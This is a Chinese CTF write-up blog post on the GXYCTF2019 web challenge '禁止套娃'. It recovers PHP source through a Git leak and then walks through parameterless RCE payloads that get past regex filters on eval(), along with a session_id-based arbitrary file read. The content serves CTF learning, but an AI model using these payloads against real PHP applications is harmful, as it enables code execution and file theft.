[GXYCTF2019]禁止套娃

本文揭秘了GXYCTF2019中的Web挑战,通过Git源码泄露审计,利用PHP代码中的漏洞执行payload,包括正则表达式技巧、localeconv()和scandir函数的巧妙应用,以及session_id实现的任意文件读取。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

web第37题
[GXYCTF2019]禁止套娃

打开靶场
在这里插入图片描述
审计源代码无发现,使用dirmap进行目录扫描
在这里插入图片描述
发现.git目录,猜测存在.git源码泄露,参考:
CTF-WEB:Git 源码泄露
git文件致源码泄露
使用githack工具下载到.git文件夹下的index.php文件
在这里插入图片描述
在这里插入图片描述
index.php

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

php代码审计,首先就看到@eval($_GET[‘exp’]);代码执行,执行到这一步需要经过3重正则校验
PHP preg_match():执行正则表达式匹配
PHP preg_replace() 函数
php中的== 和===的用法及区别

第一个if过滤了data/filter/php/phar伪协议,不能以伪协议形式直接读取文件
第二个if参考了大佬的解释:

(?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。,引用一次正则则变成了[a-z,_]+\([a-z,_]+\((?R)?\)\),可以迭代下去,那么它所匹配的就是print(echo(1))、a(b(c()));类似这种可以括号和字符组成的,这其实是无参数RCE比较典型的例子,

第三个if使用正则匹配过滤了et/na/info等关键字,导致get()、phpinfo()等函数不能使用

payload知识点
1.localeconv() 函数返回一包含本地数字及货币格式信息的数组。
在这里插入图片描述
在这里插入图片描述
可以看到数组返回的第一个就是.
2.current() 函数返回数组中的当前元素的值。
每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。
在这里插入图片描述
取出数组的第一个元素的值即为.
3.scandir列出指定目录中的文件和目录,当参数为.时,即列出当前目录的文件

构造payload读取当前目录下的文件:

?exp=print_r(scandir(current(localeconv())));

在这里插入图片描述
读取到当前目录下存在flag.php文件
思考如何读取flag.php文件内容
4.array_reverse()函数以相反的元素顺序返回数组。

?exp=print_r(array_reverse(scandir(current(localeconv()))));

在这里插入图片描述
5.next()函数讲内部指针指向数组中的下一个元素,并输出

?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

在这里插入图片描述
6.highlight_file将代码高亮显示出来

最终payload:

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

在这里插入图片描述

其他解法:session_id()实现任意文件读取
参考:无参数rce
[GXYCTF2019]禁止套娃(无参RCE)

session_id可以获取PHPSESSID的值,而我们知道PHPSESSID允许字母和数字出现,而flag.php符合条件.
因此我们在请求包中cookie:PHPSESSID=flag.php,使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session id。
这样可以构造payload:?exp=readfile(session_id(session_start()));
达到任意文件读取的效果:

即使用session_id获得了PHPSESSID的值flag.php,再使用readfile函数进行文件读取,在此之前需要开启session,即使用session_start()

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值